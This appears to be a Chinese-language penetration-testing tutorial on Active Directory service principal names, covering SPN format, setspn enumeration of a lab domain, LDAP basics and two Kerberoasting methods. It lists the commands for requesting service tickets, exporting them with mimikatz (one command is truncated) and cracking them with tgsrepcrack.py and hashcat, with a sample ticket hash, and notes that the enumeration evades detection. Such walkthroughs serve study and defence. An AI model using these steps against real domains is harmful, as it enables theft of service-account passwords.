服务主体名称(SPN)是服务实例的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户关联。

如果您在整个林中的计算机上安装服务的多个实例,则每个实例必须具有自己的SPN。
在Kerberos身份验证服务可以使用SPN对服务进行身份验证之前,必须在该服务实例用于登录的帐户对象上注册SPN。

SPN的类别:

1
2
注册在AD上机器帐户(Computers)下
注册在域用户帐户(Users)下

当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下;
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN格式

SPN语法包含四个元素:两个必需元素和两个其他元素,您可以根据需要使用它们来产生唯一的名称

1
<service class>/<host>:<port>/<service name>

元素描述

1
2
3
4
<service class>:标识服务类的字符串,可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
<host>:服务所在主机名称,有两种形式,这可以是标准DNS名称或NetBIOS名称,例如server01.test.com和server01
<port>:服务端口
<service name>:服务的专有名称(DN),objectGuid,Internet主机名

SPN查询

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测

1
2
setspn -q */*   #查询当前域的所有SPN
setspn -T rootkit.org -q */* #查询 rookit.org域的所有SPN

查询结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org
IMAP/OWA2013
IMAP/OWA2013.rootkit.org
IMAP4/OWA2013
IMAP4/OWA2013.rootkit.org
POP/OWA2013
POP/OWA2013.rootkit.org
POP3/OWA2013
POP3/OWA2013.rootkit.org
exchangeRFR/OWA2013
exchangeRFR/OWA2013.rootkit.org
exchangeMDB/OWA2013
exchangeMDB/OWA2013.rootkit.org
SMTP/OWA2013
SMTP/OWA2013.rootkit.org
SmtpSvc/OWA2013
SmtpSvc/OWA2013.rootkit.org
exchangeAB/OWA2013
exchangeAB/OWA2013.rootkit.org
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2013.rootkit.org
ldap/OWA2013.rootkit.org/ForestDnsZones.rootkit.org
ldap/OWA2013.rootkit.org/DomainDnsZones.rootkit.org
TERMSRV/OWA2013
TERMSRV/OWA2013.rootkit.org
DNS/OWA2013.rootkit.org
GC/OWA2013.rootkit.org/rootkit.org
RestrictedKrbHost/OWA2013.rootkit.org
RestrictedKrbHost/OWA2013
RPC/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
HOST/OWA2013/ROOTKIT
HOST/OWA2013.rootkit.org/ROOTKIT
HOST/OWA2013
HOST/OWA2013.rootkit.org
HOST/OWA2013.rootkit.org/rootkit.org
E3514235-4B06-11D1-AB04-00C04FC2DCD2/58650e64-9681-4c62-b26e-7914b9041f72/rootkit.org
ldap/OWA2013/ROOTKIT
ldap/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
ldap/OWA2013.rootkit.org/ROOTKIT
ldap/OWA2013
ldap/OWA2013.rootkit.org
ldap/OWA2013.rootkit.org/rootkit.org
CN=krbtgt,CN=Users,DC=rootkit,DC=org
kadmin/changepw
CN=dbadmin,OU=运维部,DC=rootkit,DC=org
MSSQLSvc/Srv-Web-Kit.rootkit.org:1433
MSSQLSvc/Srv-Web-Kit.rootkit.org
CN=SRV-WEB-KIT,CN=Computers,DC=rootkit,DC=org
TERMSRV/SRV-WEB-KIT
TERMSRV/Srv-Web-Kit.rootkit.org
WSMAN/Srv-Web-Kit
WSMAN/Srv-Web-Kit.rootkit.org
RestrictedKrbHost/SRV-WEB-KIT
HOST/SRV-WEB-KIT
RestrictedKrbHost/Srv-Web-Kit.rootkit.org
HOST/Srv-Web-Kit.rootkit.org
CN=PC-JERRY-KIT,CN=Computers,DC=rootkit,DC=org
RestrictedKrbHost/PC-JERRY-KIT
HOST/PC-JERRY-KIT
RestrictedKrbHost/PC-jerry-Kit.rootkit.org
HOST/PC-jerry-Kit.rootkit.org
CN=PC-MICLE-KIT,CN=Computers,DC=rootkit,DC=org
RestrictedKrbHost/PC-MICLE-KIT
HOST/PC-MICLE-KIT
RestrictedKrbHost/PC-micle-Kit.rootkit.org
HOST/PC-micle-Kit.rootkit.org
CN=PC-TORNDO-KIT,CN=Computers,DC=rootkit,DC=org
HOST/PC-TORNDO-KIT
HOST/pc-torndo-Kit.rootkit.org

发现存在 SPN!
以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN

SPN扫描

可以通过 SPN 来获取想要的信息,比如想知道域内哪些主机安装了什么服务,就不需要再进行批量的网络端口扫描。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。

powershell执行策略默认为Restricted,不允许执行脚本。
若要了解计算机上的powershell现用执行策略,请输入

1
get-executionpolicy

若要在本地计算机上运行您编写的未签名脚本和来自其他用户的签名脚本,请使用以下命令将计算机上的执行策略更改为 RemoteSigned(需管理员权限)

1
set-executionpolicy remotesigned

GetUserSPNs.ps1

GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。
脚本下载:https://github.com/nidem/kerberoast

SPN扫描
可以通过 SPN 来获取想要的信息,比如想知道域内哪些主机安装了什么服务,就不需要再进行批量的网络端口扫描。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。

powershell执行策略默认为Restricted,不允许执行脚本。
若要了解计算机上的powershell现用执行策略,请输入

1
get-executionpolicy

若要在本地计算机上运行您编写的未签名脚本和来自其他用户的签名脚本,请使用以下命令将计算机上的执行策略更改为 RemoteSigned(需管理员权限)

1
set-executionpolicy remotesigned

GetUserSPNs.ps1

GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。
脚本下载:https://github.com/nidem/kerberoast

1
Import-module .\GetUserSPNs.ps1

LDAP协议

LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。

搬运daiker大佬文章中LDAP的介绍: https://www.anquanke.com/post/id/195100?from=singlemessage#h2-1

  • 目录树:如上图所示,在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
  • 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。比如图中的每个圆圈都是一条记录。
  • DN,RDN:比如说第一个叶子条目,他有一个唯一可区分的名称– —
  • DN:uid=bob,ou=people,dc=acme,dc=org。类似于文件目录的相对路径绝对路径,他除了有个DN之外,还有个RDN,他与目录结构无关,比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org,他的RDN就是uid=bob
  • 属性:描述条目具体信息。比如 uid=bill,ou=people,dc=acme,dc=org,他有属性name 为bill,属性age为11,属性school 为xx。

Kerberoasting

介绍 Kerberos 的认证流程时说到,在 KRB_TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码。
下图为设置 Kerberos 的加密方式为RC4,在域中可以在域控的「本地安全策略」中进行设置:


设置完成之后运行里输入「gpupdate」刷新组策略,策略生效。

Kerberoasting攻击方式一

获得有价值的SPN
需要满足以下条件:

1
2
该SPN注册在域用户帐户(Users)下
域用户账户的权限很高

1.获取SPN

powershell:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

1
cscript GetUserSPNs.vbs


2.根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。

1
2
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org"


3.Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据。

1
klist


4.mimicatz导出

1
rberos::list /export


5.爆破密码

脚本:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

1
python2 tgsrepcrack.py wordlist.txt 1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi

Kerberoasting攻击方式二

Kerberoasting攻击方式一中需要通过 mimikatz 从内存中导出票据,Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。

自动实现,并且不需要mimikatz,普通用户权限即可,参考资料
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

脚本地址:https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

1
2
Import-module .\Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

–outputformat 参数可以指定输出的格式,可选 John the Ripper 和 Hashcat 两种格式


利用hashcat爆破
工具下载:https://github.com/hashcat/hashcat

1
hashcat64.exe  -m 13100 hash.txt dic.txt --force --show

hash.txt内容

1
$krb5tgs$23$*dbadmin$rootkit.org$MSSQLSvc/Srv-Web-Kit.rootkit.org:1433*$d78f3a872b2e770bd7fed0a08386d791$2a356ecded8ad719cde070eb0c25bd1126dce5017acfb219135760a3890428da51667504789cb12c15fa61c71209ffc3ed0cd1d7e08cbeb4bb2bbc84d42bac53f4030bbf8fff011bcfcd76e2448f8b34f1431da0ba5f373c737d12004562b4242b099c2f27797cd682902f70f356f5fa629ea7c55458ebd230eaa19c56f596e1e1e6e2d37887bddca6243661c3d1d8e69420a3ab4427c56859d3858f6b4283fc268a1f4af161771d37858226a4d640f0cb45648760d7c5698cfbcc1e53003277e462937d09da38e8c1bfd698e6d6db5fc184fa9166c5bf8002cb061b53187612d597ad3a547b4a2b6cd474bcb894c6d1ff021299882dd4ba9d37fe5543bbb205b5941cb24891f3f1733dd012dda97a81d8cb0206bfca3b9ae8a0087466fb91b1bea820a3608f71eb90a50d46ca1944816242d75ddae569cdf33bad5fb8f5703c252dbfce22cfa8ab268d16671020044282f88119854a01500216364329e89b37367516d0f21f9d2f6b20b886e3a01424b90431ffc7782a21a6befe40514cdfb704c29a2bd25078e821209d914df46fb11c997c7cf9e0ec94c036466cd51351c132304ff8a2bbdd8120a955b7ef764169193c8915dc123d6c339a5c2d7bae301f0effdaaa604cc84a4f36f005bbbf64f1cb276b265fc953e7b3c09cdbc4ec102edd8907fcf812088e7ab7ab1d3d1efe07c899f9f590ee1a8fa7714e5b5e7b82b072aa46dae2bf9566cca99877932021b506ddb51e3162a576e155ff0c40e6eb1546b7713d355475c4df227864e4a3e7d12c3c0d6f1020f738b041c4717aa626ef8a3c9974bda28f2d058dfc2a90bd6aea7a6352c07999744e9b936b34b372ffd85153bec7ea17c80cab0ab0f165b638fc43917df16c8dc37d664d952cb615bbf95809bcc046761cefc39eb01b2b0160d31701ed33f3d9ffafafbf931c3f698ab57550da5fb50b009aa27e1dcb3fdfcf9d68b44882b065dedb15252c3762b2ff98c197e87f4a04831ed8dda78e71a9744a655fde06064a8a7b19caa0845436ceadc279e3d50fb21982d9303f96470705f85f4ab1544d54f2a39f98fc5bcab97ad124b7aeffb45ccb356c043ee2949bdffb1fe0607b608051bc300b736d1add8f2cf50f508fe8b3e624f1d512cff8ed1f894a2836ea9fc960c5a87933f793a1f059f51d640353e01eedfaf5b41a60ba2b779d7e27e29d83fc584cb3ad7c52d746c1fd1d8b38840d3533e9ab0dc96110d509ab41735253a3354c3bcaa97acde9f6f2d9abe6ca1cea1e4b9df500b0567215571d8360f5f55b1dda171c2db476e2888eee7dfefb9a22909729350a4307d1f606a5ddb615a29ea3b54194f216f92c2161e3d998044c811675e86f913140e0e2d290da20141a9fe488ea715c1562f6425e30b54261e44b8e83430456c2b11e08d227b209f4c992089d8ac633e59d0ccbe15e5c06

爆破结果